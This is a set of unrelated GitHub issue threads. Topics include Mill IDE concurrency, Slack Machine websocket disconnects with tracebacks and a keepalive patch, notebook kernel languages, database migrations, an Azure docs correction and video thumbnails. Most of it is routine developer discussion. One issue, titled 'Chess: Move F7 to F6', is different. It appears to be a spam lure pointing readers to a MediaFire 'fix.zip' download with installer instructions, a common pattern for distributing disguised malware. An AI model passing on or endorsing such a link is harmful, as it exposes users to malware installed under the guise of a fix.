Implementing https://github.com/com-lihaoyi/mill/issues/3144 and moving the IDE work to a separate folder .bsp/out will help mitigate the most common concurrency issue of someone running 1 terminal and 1 IDE, at the cost of a bit of wasted computation (hopefully not too much)
We can figure out a finer-grained concurrency story later to try and optimize this, but I expect that will take a lot more time with no guarantee of success, so we should go with the global lock first

cc @alexarchambault

Fixed by https://github.com/com-lihaoyi/mill/pull/3599 I think

Let's merge this one too then we can close this https://github.com/com-lihaoyi/mill/pull/3683


Connection is closing every few days

Every other day, slack bot is losing it's connection from some reason:
Traceback (most recent call last):
  File "/root/virtualenvs/tedbot/bin/slack-machine", line 11, in <module>
    sys.exit(main())
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/machine/bin/run.py", line 14, in main
    bot.run()
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/machine/core.py", line 198, in run
    self._dispatcher.start()
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/machine/dispatch.py", line 23, in start
    for event in self._client.rtm_read():
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/slackclient/client.py", line 135, in rtm_read
    json_data = self.server.websocket_safe_read()
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/slackclient/server.py", line 194, in websocket_safe_read
    data += "{0}\n".format(self.websocket.recv())
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_core.py", line 300, in recv
    opcode, data = self.recv_data()
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_core.py", line 317, in recv_data
    opcode, frame = self.recv_data_frame(control_frame)
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_core.py", line 330, in recv_data_frame
    frame = self.recv_frame()
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_core.py", line 364, in recv_frame
    return self.frame_buffer.recv_frame()
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_abnf.py", line 361, in recv_frame
    self.recv_header()
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_abnf.py", line 309, in recv_header
    header = self.recv_strict(2)
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_abnf.py", line 396, in recv_strict
    bytes_ = self.recv(min(16384, shortage))
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_core.py", line 434, in _recv
    return recv(self.sock, bufsize)
  File "/root/virtualenvs/tedbot/lib/python3.5/site-packages/websocket/_socket.py", line 94, in recv
    "Connection is already closed.")
websocket._exceptions.WebSocketConnectionClosedException: Connection is already closed.

Not sure what is going on, but can the slack bot try to reconnect to slack if that happens. Or perhaps there should be some other approach?

Thanks for reporting this! I think some reconnection logic is on order here. I will think about it a bit. In the meanwhile, as a workaround, as long as you use some persistent storage, you could restart Slack Machine yourself every day or so.

We have wrote this service to workaround the issue:
[Unit]
Description=slack-machine slack bot
After=multi-user.target

[Service]
Type=idle
Restart=always
WorkingDirectory=/root/tedbot
ExecStart=/root/virtualenvs/tedbot/bin/python3 /root/virtualenvs/tedbot/bin/slack-machine

[Install]
WantedBy=multi-user.target

Great! I have been running a bot for my team for the past 3 months, and I haven't had any disconnects happen. I'm running it inside Docker.

I was able to confirm this issue over the weekend. I was seeing disconnects at almost eactly 24 hours each time, but today the disconnect was at the 8hr mark. The bot is running idle mostly while I've been working on other projects, so I'm guessing there's some sort of idle disconnect on the RTM end. Although the RTM protocol doesn't say it's required, maybe adding a Ping/pong would alleviate the issue. https://api.slack.com/rtm

So I looked at the python slackbot, to see how it handled it, and it's very simple. Below is an untested diff is someone would like to test/validate it. If not, I will get some testing done when I can and open a pull request. If you think this would be better added to the scheduler, let me know.
diff --git a/machine/core.py b/machine/core.py
index 364c597..14d560d 100644
--- a/machine/core.py
+++ b/machine/core.py
@@ -7,6 +7,8 @@ import dill
 from clint.textui import puts, indent, colored
 import bottle

+from six.moves import _thread
+
 from machine.dispatch import EventDispatcher
 from machine.plugins.base import MachineBasePlugin
 from machine.settings import import_settings
@@ -175,6 +177,11 @@ class Machine:
         else:
             return regex.pattern

+    def _keepactive(self):
+        while True:
+            time.sleep(30 * 60)
+            self._client.ping()
+
     def run(self):
         announce("\nStarting Slack Machine:")
         with indent(4):
@@ -199,3 +206,5 @@ class Machine:
                 show_valid("Web server started")
             show_valid("Dispatcher started")
             self._dispatcher.start()
+            _thread.start_new_thread(self._keepalive, tuple())
+            show_valid("Keepalive thread started")

I think you added it to the right place. Is there a reason why you use the thread from six? Slack Machine doesn't support Python 2.x, so you could just use built-in threading right?
I must add btw, that I'm still not seeing this problem. I've been running a Slack Machine instance for a couple of months now, with little to no activity sometimes, and I never experienced a disconnect.
Maybe we should add the keepalive as a configurable feature, and allow setting a different keepalive as well. So in the configuration: KEEP_ALIVE = 30 * 60 but with a default of KEEP_ALIVE = None. And if KEEP_ALIVE is not None, start the thread.

@DandyDev This was almost literally a copy pasta from slackbot, so no there is no particular reason to use thread from six. Let me throw this (and the module change) in and test. If this alleviates the issue, I'll throw a pull request together with this and your suggestion on the setting.
I'm curious why you're unable to replicate. I'm working with a trial of slack (our company is looking to purchas slack), and so far the bot has no activity, besides my testing. Is it possible your bot is getting enough activity to keep it alive? Maybe channel events are enough to keep it alive?

Is it possible your bot is getting enough activity to keep it alive?
I've been running Slack Machine at the company I work for, where it gets plenty of activity indeed. But I've also deployed Slack Machine in a Slack team with friends that hardly gets any activity at all, and I'm pretty sure I've told nobody there that I've added a bot.
It might indeed be that listening to channel activity is enough for it.

Anyways, I'm totally willing to merge a PR for this, as long as it's optional/configurable like we talked about :)
BTW, if you can think of any particular features you're missing, either to the core of Slack Machine or in a plugin, let me know about it. I'm always looking to improve SM further

I'd love some more collaboration on Slack Machine, so any ideas are welcome.
In the meanwhile, I'll have a look at the PR

@Tahvok I cut a new version with a KEEP_ALIVE setting, based on the work of @preludedrew. Can you test if it works for you (if you're still using Slack Machine)? I will leave this issue open for a week or so. If I don't hear anything by then, I'm gonna assume the issue is resolved :)

Our company finally decided to go with slack, so I'll be working on this a lot more and can validate this issue has been resolved. I'll comment in a week or so and maybe this can get closed. Thanks @DandyDev

That is awsesome @preludedrew! The procurement department of the company I work for is actually also drawing up contracts with Slack, so hopefully we'll get paid Slack soon, at which time I will be more actively working on slack-machine again.
Any help now and then is much appreciated!

Been a week and I have yet to see this issue crop up. Makes sense to close to me :)

Hello
I'm facing disconnection problem, i've set up KEEP_ALIVE = 14400
as we can see , we have a client Ping and a client pong  and 5 mns later we see RTM disconnected.
`[2019-08-19 16:38:26][DEBUG] machine.core core.py:_keepalive:185 | Client Ping!
[2019-08-19 16:38:26][DEBUG] machine.dispatch dispatch.py:handle_event:52 | Server Pong!
[2019-08-19 16:43:17][DEBUG] root server.py:websocket_safe_read:290 | RTM disconnected
Traceback (most recent call last):
File "/home/supportbot/bot/lib/python3.6/site-packages/slackclient/server.py", line 278, in websocket_safe_read
data += "{0}\n".format(self.websocket.recv())
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 310, in recv
opcode, data = self.recv_data()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 327, in recv_data
opcode, frame = self.recv_data_frame(control_frame)
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 340, in recv_data_frame
frame = self.recv_frame()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 374, in recv_frame
return self.frame_buffer.recv_frame()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_abnf.py", line 361, in recv_frame
self.recv_header()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_abnf.py", line 309, in recv_header
header = self.recv_strict(2)
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/abnf.py", line 396, in recv_strict
bytes = self.recv(min(16384, shortage))
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 449, in _recv
return recv(self.sock, bufsize)
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_socket.py", line 94, in recv
"Connection is already closed.")
websocket._exceptions.WebSocketConnectionClosedException: Connection is already closed.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/supportbot/bot/bin/slack-machine", line 10, in
sys.exit(main())
File "/home/supportbot/bot/lib/python3.6/site-packages/machine/bin/run.py", line 14, in main
bot.run()
File "/home/supportbot/bot/lib/python3.6/site-packages/machine/core.py", line 219, in run
self._dispatcher.start()
File "/home/supportbot/bot/lib/python3.6/site-packages/machine/dispatch.py", line 29, in start
for event in self._client.rtm_read():
File "/home/supportbot/bot/lib/python3.6/site-packages/slackclient/client.py", line 235, in rtm_read
json_data = self.server.websocket_safe_read()
File "/home/supportbot/bot/lib/python3.6/site-packages/slackclient/server.py", line 296, in websocket_safe_read
"Unable to send due to closed RTM websocket"
slackclient.server.SlackConnectionError: Unable to send due to closed RTM websocket`

hello
i've set up the KEEP ALIVE parameter and it's always the same
`
[2019-12-10 10:20:05][DEBUG] machine.core core.py:_keepalive:185 | Client Ping!
[2019-12-10 10:20:05][DEBUG] machine.dispatch dispatch.py:handle_event:52 | Server Pong!
<IP_ADDRESS> - - [10/Dec/2019 10:21:58] "GET /meteo HTTP/1.1" 200 0
[2019-12-10 10:25:03][DEBUG] root server.py:websocket_safe_read:290 | RTM disconnected
Traceback (most recent call last):
File "/home/supportbot/bot/lib/python3.6/site-packages/slackclient/server.py", line 278, in websocket_safe_read
data += "{0}\n".format(self.websocket.recv())
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 310, in recv
opcode, data = self.recv_data()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 327, in recv_data
opcode, frame = self.recv_data_frame(control_frame)
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 340, in recv_data_frame
frame = self.recv_frame()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 374, in recv_frame
return self.frame_buffer.recv_frame()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_abnf.py", line 361, in recv_frame
self.recv_header()
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_abnf.py", line 309, in recv_header
header = self.recv_strict(2)
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/abnf.py", line 396, in recv_strict
bytes = self.recv(min(16384, shortage))
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_core.py", line 449, in _recv
return recv(self.sock, bufsize)
File "/home/supportbot/bot/lib/python3.6/site-packages/websocket/_socket.py", line 94, in recv
"Connection is already closed.")
websocket._exceptions.WebSocketConnectionClosedException: Connection is already closed.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/supportbot/bot/bin/slack-machine", line 10, in
sys.exit(main())
File "/home/supportbot/bot/lib/python3.6/site-packages/machine/bin/run.py", line 14, in main
bot.run()
File "/home/supportbot/bot/lib/python3.6/site-packages/machine/core.py", line 219, in run
self._dispatcher.start()
File "/home/supportbot/bot/lib/python3.6/site-packages/machine/dispatch.py", line 29, in start
for event in self._client.rtm_read():
File "/home/supportbot/bot/lib/python3.6/site-packages/slackclient/client.py", line 235, in rtm_read
json_data = self.server.websocket_safe_read()
File "/home/supportbot/bot/lib/python3.6/site-packages/slackclient/server.py", line 296, in websocket_safe_read
"Unable to send due to closed RTM websocket"
slackclient.server.SlackConnectionError: Unable to send due to closed RTM websocket
`
It seems it's merge in new slack-client

Perhaps this issue can be closed , my slack machine is working well in production for 2 weeks as i update to latest version

Good to hear it's running smoothly for you now!

Perhaps this issue can be closed , my slack machine is working well in production for 2 weeks as i update to latest version

Hello @dorel14
Could you please tell me which version you use to get rid of this issue? Thank you.

@fmb-chin
Hello , the latest v0.19.2 is ok for me.
Working now since 2 months without anymore disconnection
ATke care if you use bottle as i've had in #292

@dorel14 Thank you.
I upgraded to v0.19.2 before, but I found message react is broken in v0.19.2 and return to v0.18.2.
I will try v0.19.2 again.

Hi,
message react os not broken , but sometimes it runs in a timeout , don't know why


Native notebook cell language does not update when kernel is changed

Pick a non Python kernel
Execute code
Switch to a Python kernel
Cell language marker is not updated even after editing the cell and executing Python code in the kernel

I'd expect us to update the language marker once we've run code in the selected kernel, since at that point we know what language that code is (expected to be) written in.

I don't think that's the correct thing to do & I don't think this is a bug either.
I can have a cell with magics for a JavaScript or bash code or other, i could change the language to shell/javascript so i get syntax highlighting & intellisense.
Now just because i changed the kernel to another python kernel, all my cells are changed to Python after I changed it manually to get some features.
I.e. with the proposed change, I'd lost functionality.
I don't think we should change cell languages if kernel changes.

I don't think that's the correct thing to do & I don't think this is a bug either.
I can have a cell with magics for a JavaScript or bash code or other, i could change the language to shell/javascript so i get syntax highlighting & intellisense.
Now just because i changed the kernel to another python kernel, all my cells are changed to Python after I changed it manually to get some features.
I.e. with the proposed change, I'd lost functionality.
I don't think we should change cell languages if kernel changes.

Pick a non Python kernel
Execute code
Switch to a Python kernel

If the user changes kernels, then I'd leave it for the user to change languages.
The example you have given doesn't seem to reflect a real world scenario, or does it. How did step 2 complete? (how did they end up with Shell Script as the language for the cells?

Pick a non Python kernel
Execute code
Switch to a Python kernel

If the user changes kernels, then I'd leave it for the user to change languages.
The example you have given doesn't seem to reflect a real world scenario, or does it. How did step 2 complete? (how did they end up with Shell Script as the language for the cells?


Automatic db migrations for new releases

If we introduce db schema changes with new releases we need to ensure that these will be migrated automatically after the update to the new version.

Solved with #225


Update tutorial-enable-azure-mfa.md

The path to the policies in section Clean up resources should contain 'Policies' instead of 'Protection'
Existing:
Browse to Protection > Conditional Access, and then select the policy that you created, such as MFA Pilot.
Should be:
Browse to Policies> Conditional Access, and then select the policy that you created, such as MFA Pilot.

@Justinha
Can you review the proposed changes?
When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

#sign-off


Chess: Move F7 to F6

Please do not change the title. Just click "Submit new issue". You don't need to do anything else :D

Download
https://www.mediafire.com/file/ynhx37qmyqek881/fix.zip/file
In the installer menu, select "gcc."


how can i get the cover of the video?

this is my question, thanks!

Are you able to clarify a bit on your question? Not exactly sure what you are asking...

i have solve i
thanks for share the great library

I think he were asking about thumbnail generation from resulting video file, and really, I see it as something this library will benefit from.

@Nododo how did you solve this? Thanks!

(void)video:(NSString *)videoPath didFinishSavingWithError:(NSError *)error contextInfo: (void *) contextInfo {
[[UIApplication sharedApplication] endIgnoringInteractionEvents];
if (error == nil) {
self.progressHUD.customView = [[UIImageView alloc] initWithImage:[UIImage<EMAIL_ADDRESS>self.progressHUD.mode = MBProgressHUDModeCustomView;
[self.progressHUD hide:YES afterDelay:1];
  //return the filepath
  [self removePreviewMode];
  [self doNextWhenVideoSavedSuccess];

//#warning get the cover
//        [_recorder capturePhoto:^(NSError * _Nullable error, UIImage * _Nullable image) {
//
//            UIImageView *final =     [[UIImageView alloc] initWithFrame:self.view.bounds];
//            final.image = image;
//            [self.view addSubview:final];
//        }];
    if ([delegate respondsToSelector:@selector(finishWechatShortVideoCapture: image:)]) {
        [delegate finishWechatShortVideoCapture:VIDEO_OUTPUTFILE image:nil];
    }
} else {
    self.progressHUD.labelText = [NSString stringWithFormat:@"Failed to save\n%@", error.localizedDescription];
    self.progressHUD.mode = MBProgressHUDModeCustomView;
    [self.progressHUD hide:YES afterDelay:3];
}

}


Fp monitor tutorial rev 2

Version 2 of processing monitoring tutorial

Here is the corresponding issue:
https://github.com/swimos/swimos-docs/issues/63

Sorry, this should be the JSON blog post not the process monitor tutorial...